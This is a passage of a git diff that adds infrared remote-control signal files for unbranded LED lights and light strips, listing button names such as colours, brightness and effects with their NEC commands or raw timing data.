00 +command: F8 07 00 00 +# +name: 250 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F9 06 00 00 +# +name: 251 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FA 05 00 00 +# +name: 252 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FB 04 00 00 +# +name: 253 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FC 03 00 00 +# +name: 254 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FD 02 00 00 +# +name: 255 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FE 01 00 00 +# +name: 256 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir new file mode 100644 index 000000000..48dc94e83 --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: Light UP +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: Light DOWN +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: Play / Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: Red +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 58 00 00 00 +# +name: Blue +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 59 00 00 00 +# +name: Green +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: White +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 44 00 00 00 +# +name: Orange +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 54 00 00 00 +# +name: Lime +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 55 00 00 00 +# +name: Violet +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 49 00 00 00 +# +name: Carnation +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Tangerine +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Aquamarine +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 51 00 00 00 +# +name: Purple +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: Carnation +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: Apricot +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Olympic +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: Lavender +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: Sea Green +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: Yellow +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 18 00 00 00 +# +name: Teal +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 19 00 00 00 +# +name: Pink +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: Baby Blue +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Red UP +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Red DOWN +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Green UP +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 16 00 00 00 +# +name: Green DOWN +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 17 00 00 00 +# +name: Blue UP +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Blue DOWN +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 11 00 00 00 +# +name: QUICK +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: SLOW +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 13 00 00 00 +# +name: DIY 1 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: DIY 2 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: DIY 3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: AUTO +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: DIY 4 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 08 00 00 00 +# +name: DIY 5 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 09 00 00 00 +# +name: DIY 6 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: FLASH +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: JUMP 3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 04 00 00 00 +# +name: JUMP 7 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 05 00 00 00 +# +name: FADE 3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 06 00 00 00 +# +name: FADE 7 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir new file mode 100644 index 000000000..182af31f4 --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Power_on +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9752 4512 678 519 629 574 636 569 631 571 629 572 628 572 628 571 629 573 627 1689 629 1683 625 1685 623 1686 622 1687 621 1688 630 1678 619 1686 622 1683 625 1681 627 567 623 575 625 571 619 576 624 572 628 1679 629 567 623 573 627 1681 627 1677 620 1686 622 1680 617 1681 616 571 619 39161 9413 2260 622 96457 9493 2267 615 96491 9491 2260 622 99522 2889 75674 9757 4519 630 573 627 578 632 572 628 578 632 573 627 578 632 572 628 575 635 1675 622 1676 621 1677 610 1687 621 1677 610 1687 621 1678 609 1688 620 1683 614 1687 631 568 621 575 625 577 633 568 632 569 631 1682 626 573 627 573 627 1684 624 1687 631 1677 631 1678 630 1680 628 569 631 39165 9531 2265 617 97240 9673 2263 629 +# +name: Power_off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9526 4512 627 568 622 572 628 567 623 571 619 575 625 568 622 570 620 571 619 1683 625 1678 619 1682 626 1676 621 1681 627 1675 623 1679 619 1683 625 565 625 1674 623 596 593 595 595 594 596 594 596 593 586 1685 623 1677 621 596 594 1677 621 1679 618 1681 616 1682 615 1683 614 600 590 39182 9434 2264 618 96516 9414 2260 612 96510 9460 2258 614 96482 9561 2269 634 96516 9856 2270 633 96479 9862 2271 642 96516 9898 2271 642 96486 9876 2273 691 96432 9879 2265 638 96485 9866 2273 640 96480 9858 2266 637 96530 9891 2271 642 96726 9890 2271 642 96496 9884 2271 642 96493 9886 2265 638 96502 9888 2267 646 96494 9886 2267 646 96494 9898 2268 645 96500 9911 2271 642 96513 9921 2266 647 +# +name: Bright_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9512 4513 626 592 587 599 591 596 594 592 587 598 592 594 585 600 590 595 584 1684 624 1676 622 1677 621 1675 612 1682 616 1679 608 1684 614 1680 607 601 589 564 615 564 615 565 614 565 614 565 614 593 586 1676 611 1681 606 1686 612 1680 607 1685 612 1680 607 1685 613 1681 616 567 612 39181 9353 2262 610 96521 9346 2265 607 96503 9407 2263 609 96555 9468 2267 615 96789 10035 2284 639 98340 9868 2281 642 96680 10006 2271 642 96640 10007 2278 645 96746 10013 2277 646 96773 10027 2281 642 96844 10049 2275 648 96842 10063 2279 644 96641 9494 2270 622 96592 9459 2262 620 +# +name: Bright_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 10190 4555 656 579 652 583 648 587 654 581 650 584 647 586 655 578 653 581 649 1701 658 1695 654 1699 650 1702 647 1704 655 1693 645 1703 656 1694 655 1698 651 586 655 583 658 581 650 589 652 584 657 579 652 1700 649 586 655 1699 650 1704 655 1698 651 1703 656 1699 650 1705 654 585 656 39849 10069 2284 650 54703 10223 4549 651 586 655 584 657 581 660 581 660 581 660 581 660 581 660 581 660 1699 660 1699 660 1701 658 1704 655 1706 653 1708 651 1708 661 1699 660 1701 658 584 657 585 656 587 654 588 653 588 653 588 653 1706 653 588 653 1705 654 1705 654 1705 654 1703 656 1701 658 1705 654 586 655 63890 10114 4552 649 588 653 584 657 580 651 586 655 582 649 588 653 583 658 579 651 1705 654 1706 653 1708 651 1706 653 1708 651 1709 650 1711 648 1710 649 1714 655 583 648 587 654 581 650 585 645 589 652 585 707 1652 656 583 658 1701 658 1701 658 1699 660 1699 650 1708 651 1707 652 586 655 39618 10155 2286 658 97127 10219 2288 656 97523 9965 2290 644 96905 10101 2281 653 97091 10070 2285 648 97100 10070 2293 651 97024 10167 2284 650 97065 10218 2285 659 97001 10200 2289 655 96997 10141 2284 650 97121 9976 2292 641 97312 10070 2289 644 97238 10094 2289 644 97251 10195 2288 656 97168 10270 2227 655 96954 10206 2282 651 96927 10190 2289 655 96922 10159 2283 651 96890 10159 2285 649 96941 10230 2283 651 96897 10119 2281 652 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9643 4513 626 570 630 567 633 566 634 567 633 597 603 601 599 577 633 574 626 1680 617 1684 613 1687 631 1683 635 1681 627 1679 618 1681 627 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2277 135 6297 131 648 31215 9397 13890 9345 4513 616 566 613 566 613 567 612 568 611 569 610 569 610 570 609 572 607 1682 615 1680 618 1676 611 1678 609 1682 615 1675 612 1679 608 1682 615 1676 611 568 611 1676 611 570 609 571 608 574 615 565 614 1675 612 566 613 1675 612 566 613 1678 609 1682 615 1676 611 1679 608 572 607 60519 9399 4514 604 572 607 569 610 566 613 564 605 572 607 569 610 567 612 564 605 1681 606 1684 613 1674 613 1675 448 1852 610 1678 609 1681 647 1646 621 1678 609 573 606 1682 615 565 501 682 610 569 610 569 610 1680 607 573 606 1683 614 565 583 1705 418 84 177 1618 613 1678 619 1681 616 566 613 39179 621 499 3912 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 7235 513 882 81 483 106 335 4464 624 568 642 550 619 570 609 573 616 567 622 568 622 568 621 571 629 1675 622 1679 629 1679 629 1685 623 1684 624 1676 621 1679 629 1678 619 576 624 1677 620 1682 615 573 616 570 619 569 621 567 612 1682 615 1681 668 520 618 565 624 1678 619 1676 621 1683 625 1679 618 572 607 39193 9276 2260 612 96574 9516 2265 617 +# +name: White +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9300 4515 603 574 605 573 606 571 608 570 609 567 602 574 605 571 608 567 602 1687 610 1678 609 1680 607 1682 605 1685 612 1678 609 1680 607 1682 605 1684 613 1677 610 1680 607 571 608 569 610 567 612 565 614 1676 611 567 612 564 605 572 607 1681 606 1683 604 1684 603 1686 612 564 605 39200 9291 2258 604 96551 9262 2259 613 96529 9264 2259 613 96522 9284 2257 605 96540 9285 2264 608 96536 9286 2266 606 +# +name: Flash +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9313 4515 603 573 606 572 607 569 610 565 604 571 608 567 612 564 605 571 608 1680 607 1680 607 1680 607 1680 607 1680 607 1681 606 1682 605 1681 606 1682 605 1683 604 571 608 1680 607 569 610 566 603 572 607 1681 606 568 611 564 605 1682 605 570 609 1678 609 1677 610 1678 609 566 603 39188 9277 2266 606 92880 9292 4520 608 572 607 572 607 571 608 569 610 567 612 566 603 574 605 571 608 1680 607 1682 605 1684 613 1677 610 1680 607 1681 606 1683 604 1683 604 1683 604 1684 603 572 607 1680 607 568 601 574 605 569 610 1677 610 565 604 572 607 1680 607 567 602 1685 602 1685 602 1684 603 571 608 39192 9252 2264 608 96542 9230 2264 608 96533 9259 2263 609 39822 9300 4512 606 572 607 571 608 571 608 572 607 573 606 574 605 571 608 568 611 1683 614 1680 607 1686 611 1680 607 1685 612 1677 610 1680 607 1682 605 1687 610 1682 605 574 605 1683 604 573 657 518 610 567 612 1676 611 564 605 570 609 1677 610 564 605 1680 607 1679 608 1678 609 564 605 +# +name: Strobe +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9356 4516 612 565 604 572 607 568 611 565 614 562 607 570 609 569 610 571 618 1677 620 1677 620 1675 612 1682 615 1678 619 1675 612 1683 614 1682 615 1677 610 1677 610 1678 609 1679 608 570 609 569 610 567 612 1675 612 567 612 565 604 572 607 568 611 1674 613 1675 612 1676 611 566 603 39235 9211 2262 599 96556 9209 2263 609 132824 593 95 9208 4697 667 570 640 598 632 605 636 603 638 604 647 589 682 562 679 572 669 1712 636 1786 634 88917 435 +# +name: Fade +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9425 4465 602 573 606 569 610 565 604 571 608 567 602 573 606 569 610 564 605 1682 605 1682 605 1683 604 1683 604 1684 603 1685 602 1685 602 1688 609 1683 604 1683 604 571 608 567 612 1679 608 571 608 569 610 1679 618 563 616 566 613 1676 611 1680 607 599 580 1681 606 1685 612 595 584 39240 9350 2265 607 96549 9265 2264 608 96543 9262 2267 605 96541 9326 2263 609 96603 2532 294 6671 2267 625 96489 5624 246 3529 2266 616 96521 9360 2296 637 96458 3955 383 5105 2263 609 96544 9234 2291 632 96487 9208 2266 606 96541 9205 2292 662 96457 9195 2293 661 +# +name: Strobe +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9309 4520 608 567 602 572 607 566 603 570 609 564 605 569 600 573 606 567 602 1683 604 1683 604 1683 604 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 570 609 1677 610 566 603 572 607 1679 608 568 611 564 605 571 608 1679 608 570 609 1681 616 1675 612 568 611 39233 9345 2258 614 96541 9304 2256 616 96537 9258 2265 607 96547 9259 2260 601 96549 9257 2262 610 96537 9238 2259 603 96545 9220 2260 601 96548 9217 2261 600 96548 9218 2260 602 96544 9211 2264 608 96533 9212 2261 601 96538 9225 2265 607 96505 9239 2257 604 96537 9217 2262 599 96543 9224 2260 601 96538 9218 2263 609 96536 9220 2260 602 96567 9325 2265 607 +# +name: Red_dark +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9263 4514 604 572 607 567 602 572 607 566 603 571 608 565 604 569 610 563 606 1679 608 1677 610 1676 611 1675 602 1685 602 1684 603 1683 604 1682 605 570 609 565 604 571 608 1677 610 565 604 570 609 565 604 1681 606 1680 607 1680 607 1679 608 567 602 1683 604 1683 604 1683 604 571 608 39192 9243 2257 604 96513 9250 2262 610 96528 9227 2264 608 96547 9218 2260 602 96535 9229 2257 604 96526 9240 2263 609 96523 9235 2263 609 96520 9265 2260 612 96526 9238 2261 611 96521 9242 2261 611 96536 9238 2259 664 96480 9254 2262 661 96468 9309 2261 611 96511 9297 2266 606 96513 9304 2264 608 96534 9292 2258 603 96539 9216 2265 607 96528 9235 2266 606 +# +name: Green_dark +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9293 4512 606 573 606 570 609 565 614 564 605 571 608 566 603 572 607 566 603 1681 606 27409 9280 +# +name: Blue_dark +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9289 26208 9283 4514 604 570 609 565 604 569 600 573 606 567 602 571 608 565 604 569 600 1683 604 1681 606 1680 607 1678 609 1677 610 1677 610 1677 610 1677 610 568 611 1675 612 566 603 1682 605 573 606 568 611 563 606 1678 609 1676 611 563 606 1677 610 565 604 1680 607 1678 609 1676 611 564 605 39183 9261 2260 612 96522 9222 2263 609 96523 9232 2263 609 96533 9231 2263 609 96534 9240 2259 602 96529 9216 2262 610 96526 9227 2260 601 96535 9217 2258 603 96530 9214 2261 600 96532 9232 2260 612 96524 9208 2264 608 96529 9214 2262 610 96526 9216 2261 611 96514 9210 2256 605 34900 9227 4511 607 568 601 573 606 566 603 569 600 571 598 572 607 563 606 564 605 1675 602 1680 607 1674 603 1679 598 1683 604 1678 599 1684 603 1680 607 567 602 1680 607 566 603 1680 607 566 603 569 610 562 607 1676 611 1673 604 597 582 1674 603 597 582 1675 602 1683 604 1680 607 564 605 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9262 4514 614 590 579 594 575 570 609 563 606 567 602 598 581 564 605 567 602 1682 667 1619 606 1678 609 1675 612 1673 604 1681 606 1678 609 1675 602 571 608 563 606 1677 610 1675 602 570 609 563 606 565 604 1679 608 1676 611 1673 604 569 610 561 608 1676 611 1673 604 1681 606 594 575 39196 9229 2259 602 96548 9214 2263 609 96537 9205 2256 605 96542 9201 2259 602 96538 9205 2262 610 96524 9199 2263 609 96527 9195 2261 600 96536 9194 2261 662 96470 9188 2264 608 96525 9197 2259 602 96530 9191 2261 600 96530 9201 2259 602 96530 9201 2263 609 96523 9198 2265 607 96526 9196 2261 600 96533 9189 2291 663 96443 9187 2257 604 +# +name: Blue_green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9237 4514 604 569 600 573 606 565 604 568 601 570 599 573 606 565 604 568 601 1708 579 1678 609 1676 601 1684 603 1683 604 1682 605 1681 606 1680 607 1679 608 567 602 1682 605 1680 607 567 602 570 599 574 605 1678 609 564 605 1705 582 565 604 569 600 1711 576 1681 606 1680 607 567 602 42429 7184 2259 613 96578 9224 2259 602 96551 9221 2267 605 96534 9217 2260 601 96537 9213 2262 599 96542 9216 2261 600 96542 9219 2265 607 96527 9221 2262 599 96544 9226 2265 607 96539 9231 2259 602 96542 9227 2261 601 96541 9227 2258 603 96540 9219 2263 609 96530 9220 2264 608 96538 9221 2266 605 96538 9220 2265 606 96527 9251 2258 603 96536 9230 2261 610 96532 9216 2263 609 96533 9214 2262 610 96530 9208 2263 609 96531 9210 2260 663 96477 9209 2259 602 96531 9277 2258 603 +# +name: Purple +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9275 4510 608 571 608 567 612 564 605 572 607 569 610 566 603 573 606 569 610 1675 612 1676 611 1678 609 1680 607 1680 607 1681 606 1681 606 1681 606 569 600 1684 603 1683 604 1681 606 568 601 572 607 566 603 1681 606 1680 607 568 601 572 607 565 604 1680 607 1678 660 1624 601 573 606 39188 9243 2261 610 96545 9192 2265 607 96530 9196 2267 604 96539 9178 2265 607 96538 9190 2260 601 96540 9199 2264 608 96539 9189 2260 601 96544 9184 2290 653 96464 9183 2266 606 96533 9184 2257 604 96537 9171 2262 599 96536 9172 2261 600 96538 9170 2289 654 96456 9169 2263 598 96537 9171 2289 654 96454 9169 2262 599 96532 9174 2259 602 96532 9173 2259 602 96529 9168 2265 607 96526 9173 2261 600 96535 9173 2285 628 96482 9166 2291 632 96479 9167 2290 653 96453 9173 2283 630 96478 9169 2261 600 96534 9166 2263 598 96540 9168 2261 600 96536 9163 2266 606 96529 9170 2260 601 96535 9161 2266 605 96530 9167 2261 600 96531 9164 2289 634 96473 9162 2291 652 96452 9162 2265 607 96524 9172 2258 603 96527 9170 2259 602 96528 9161 2293 661 96438 9167 2286 627 96473 9161 2291 652 +# +name: Lime +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 90 00 00 00 +# +name: Aqua +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9256 4517 611 568 611 565 604 571 608 567 602 573 606 569 610 565 604 571 608 1678 609 1681 606 1683 614 1675 612 1676 611 1676 611 1675 612 1676 611 1679 608 570 609 567 602 574 605 1680 607 573 606 571 608 1677 610 567 602 1683 604 1682 605 1681 606 569 610 1675 602 1683 604 570 609 39256 9269 2257 615 44702 9281 4515 613 565 604 574 605 572 607 570 609 568 611 567 612 565 614 564 605 1682 615 1674 613 1676 611 1677 610 1678 609 1679 608 1680 607 1680 607 1681 606 571 608 567 602 573 606 1678 609 568 611 564 605 1680 607 571 608 1677 610 1679 608 1679 608 570 609 1677 610 1677 610 567 602 39207 9328 2258 613 96859 9299 2263 609 96547 9261 2264 607 96544 9256 2268 603 96543 9266 2287 666 96446 9260 2263 609 96522 9277 2267 604 96539 9230 2267 605 96542 9259 2259 602 96538 9262 2265 607 96541 9229 2267 605 96544 9224 2265 607 96539 9241 2261 600 96545 9244 2265 607 96540 9251 2258 603 96541 9249 2258 603 96537 9242 2265 606 96532 9248 2260 612 96526 9242 2265 607 96534 9255 2263 609 96532 9256 2262 610 96533 9277 2258 614 96529 9291 2259 613 96529 9209 2288 635 96474 9203 2263 609 96521 9247 2261 611 96483 9275 2259 612 96510 9237 2263 608 96527 9209 2265 607 96530 9207 2260 683 96449 9206 2258 603 96534 9203 2260 601 96538 9202 2259 602 96533 9195 2266 606 96528 9202 2259 602 96532 9197 2261 600 96537 9193 2265 607 96528 9199 2258 603 96532 9196 2258 665 96471 9194 2257 604 96531 9186 2265 606 96530 9189 2263 609 96535 9172 2266 605 +# +name: Pink +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9232 4511 607 568 611 563 606 568 611 563 606 570 609 567 612 563 606 570 609 1677 610 1680 607 1682 615 1674 613 1676 611 1678 609 1683 614 1676 611 594 585 1676 611 566 613 563 606 1680 607 570 609 566 613 1674 613 1675 612 563 606 1679 608 1680 607 569 610 1676 611 1676 611 564 605 39231 9272 2263 608 96566 9220 2264 607 96562 9277 2260 611 96533 9254 2259 612 96533 9245 2261 610 96534 9233 2266 605 96506 9240 2264 608 96538 9260 2258 603 96540 9258 2262 610 96537 9241 2262 610 96538 9219 2259 602 96546 9211 2260 601 96547 9211 2255 606 96541 9206 2256 605 96540 9207 2256 605 96648 9211 2261 611 96528 9208 2262 609 96648 9202 2258 603 96537 9189 2266 606 96535 9193 2257 604 96533 9196 2263 598 96544 9193 2262 599 96538 9188 2264 597 96540 9187 2265 606 96535 9191 2266 605 96536 9191 2259 602 96535 9203 2261 600 96539 9208 2258 603 96536 9201 2258 603 96534 9203 2261 600 96538 9199 2262 599 96544 9203 2284 628 96488 9188 2293 630 96482 9215 2261 600 96516 9200 2263 609 96542 9205 2257 604 96545 9191 2266 606 96540 9186 2264 608 96536 9189 2264 608 96528 9217 2265 606 24510 9223 4514 604 570 609 565 604 570 609 562 607 566 603 570 609 594 585 563 606 1681 606 1684 613 1675 612 1673 603 1684 613 1674 613 1675 602 1683 604 572 607 1680 607 565 604 567 602 1681 606 567 602 570 599 1683 604 1679 608 565 604 1680 607 1679 608 564 605 1679 608 1676 601 571 608 +# +name: Green_light +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 94 00 00 00 +# +name: Red_light +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 96 00 00 00 +# +name: Blue_deep +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9208 4514 614 591 578 597 582 565 604 568 611 563 606 598 581 594 585 590 579 1680 607 1681 606 1684 603 1683 604 1682 605 1682 605 1681 606 1680 607 1678 609 590 579 1679 608 592 577 1681 606 593 576 596 583 1674 603 570 609 1676 611 563 606 1679 608 567 602 1683 604 1683 604 570 609 39179 9234 2265 606 96537 9231 2265 607 96550 9229 2265 606 96525 9235 2256 667 96735 9231 2266 606 96632 9211 2267 605 96539 9201 2263 609 96534 9256 2256 605 96524 9256 2260 612 96522 9249 2263 609 96521 9220 2261 600 96535 9215 2263 609 96519 9220 2264 608 96524 9225 2264 608 96525 9243 2263 608 96524 9237 2263 609 96526 9245 2260 612 96519 9250 2262 610 96523 9224 2261 611 96526 9222 2256 605 96528 9222 2256 605 96529 9233 2254 607 96527 9245 2257 604 96527 9241 2265 607 96526 9232 2257 604 96517 9210 2264 608 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir new file mode 100644 index 000000000..a14f723fe --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4076 4497 331 539 335 583 291 532 331 539 335 584 290 581 293 532 331 541 333 1648 329 1651 336 1690 287 1696 291 1642 335 1648 339 1644 333 1649 338 536 338 1644 333 1650 337 537 337 536 338 537 337 536 338 537 337 1647 330 587 287 537 337 1694 293 1640 337 1692 285 1648 339 1690 287 59795 13271 2259 280 98396 13269 2276 273 98426 13292 2256 272 98428 13268 2283 277 98424 13273 2276 273 +# +name: On +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 174 8463 294 580 262 609 265 626 279 578 264 626 279 563 259 592 172 1052 264 1731 256 1715 293 1694 345 1652 252 1734 253 1721 266 1721 266 3719 178 39 179 6228 281 4075 285 1710 298 1687 279 1708 279 1646 341 1705 272 59603 196 12564 180 183 181 2173 278 98492 247 10659 1351 122 174 339 290 2280 259 98501 250 10985 177 115 587 119 177 291 177 115 176 2295 249 98530 250 10658 2279 2284 255 98517 254 10758 1159 357 361 119 193 2281 248 +# +name: Brighter +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4082 4497 331 539 335 535 339 530 333 539 335 535 339 532 331 540 334 538 336 1609 378 1605 372 1609 378 1609 378 1607 380 1609 378 1634 343 1603 374 1639 338 534 340 1641 336 537 337 536 338 536 338 533 341 533 341 531 343 1636 341 499 343 1664 344 1635 342 1636 362 1618 338 1642 335 59711 13365 2274 275 98192 13430 2281 278 98226 13355 2284 276 +# +name: Darker +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 8430 264 608 266 604 259 610 264 606 268 603 260 609 265 606 268 605 258 1722 265 1715 262 1719 258 1721 266 1715 262 1719 268 1715 262 1720 267 606 268 604 259 1723 264 611 263 609 265 610 264 608 266 607 267 1713 264 1716 261 613 261 1720 267 1729 258 1710 267 1680 339 1640 358 38767 496 106 180 602 4491 585 330 647 289 109908 203 116 180 8120 272 599 306 565 277 573 290 601 304 548 295 573 290 601 304 549 262 1737 182 1777 298 1681 296 1685 292 1690 297 1683 294 1706 281 1687 181 39 179 469 264 607 267 1675 364 521 181 64 175 530 286 587 255 609 265 606 268 1713 264 1713 264 609 265 1717 260 1714 263 1649 390 1682 264 1718 290 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4070 4492 336 532 331 539 335 536 338 531 332 537 337 535 339 534 340 531 332 1648 339 1641 336 1645 332 1648 339 1641 336 1646 331 1653 334 1647 340 1643 334 539 335 539 335 1648 339 534 340 535 339 535 339 534 340 531 332 1649 338 1646 331 538 336 1646 331 1649 338 1642 335 1645 332 59768 13221 2279 280 98376 13242 2198 330 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4115 4504 324 582 281 538 336 535 339 530 333 537 337 505 369 502 372 531 332 1648 339 1643 334 1646 331 1650 337 1643 334 1649 338 1641 315 1689 179 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 201 8424 275 576 298 572 291 599 296 558 285 603 271 599 275 580 294 596 278 1684 293 3677 277 1711 276 1691 286 1640 337 1639 348 1635 342 546 338 1698 279 585 299 1636 341 545 339 537 347 541 353 509 344 1635 404 536 348 1638 349 539 376 1638 328 79436 203 3212 773 4525 282 548 357 506 357 530 354 542 342 506 409 515 411 587 276 545 349 1677 289 1690 266 1709 268 1710 267 1714 263 1717 291 1693 263 1718 269 607 267 1722 265 613 172 1814 261 616 268 607 267 612 262 615 259 1721 297 579 263 1720 267 606 268 1715 272 1714 263 1723 264 1720 267 +# +name: White +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 8455 280 593 301 565 288 585 278 583 270 597 297 576 298 563 181 1065 303 5651 280 3674 301 1698 279 7614 346 532 342 1710 277 539 345 535 339 539 345 584 279 598 276 2584 308 567 275 3701 294 1688 278 1709 278 59644 176 11236 179 1178 174 4633 263 97280 248 10633 4435 2254 253 +# +name: Flash +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 181 8431 263 608 203 1154 271 600 263 608 266 1480 299 575 267 617 288 1700 277 5676 276 1712 296 1689 298 1685 271 1716 271 1715 272 1716 271 1655 343 1691 296 537 368 509 344 578 296 578 348 522 612 592 282 590 284 589 285 1701 286 1699 288 1698 289 1695 282 59309 15199 2279 280 97206 15190 2281 278 +# +name: Strobe +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 246 8364 263 609 265 606 257 614 260 611 263 608 266 609 265 591 173 1051 265 1718 259 1724 263 1721 266 1718 259 1724 263 1721 266 1719 268 1718 269 1718 269 1718 269 1719 268 609 265 1724 263 598 255 615 269 607 267 597 178 1195 266 605 269 1716 261 612 262 1723 264 1721 266 1718 269 59329 246 10647 4348 2282 288 +# +name: Fade +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 262 175 5253 179 259 245 499 172 2203 341 96965 198 12787 2720 2284 276 +# +name: Smooth +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15227 4499 277 577 297 594 269 602 272 601 273 599 275 597 277 596 278 588 286 3688 277 1690 297 1705 303 3669 275 1713 274 1691 629 1704 273 1654 344 536 369 553 289 1648 339 585 289 587 349 543 279 577 265 604 270 1675 343 1641 346 585 278 1687 290 1698 341 1639 296 53299 15138 2286 274 97253 15237 2259 280 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15231 2218 248 +# +name: Pink +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 8806 294 577 265 604 259 610 295 578 264 607 267 602 272 601 262 611 263 1720 267 1732 276 1692 264 1716 261 1718 290 1696 260 1734 253 1723 264 612 262 1740 278 598 286 575 267 1718 269 609 265 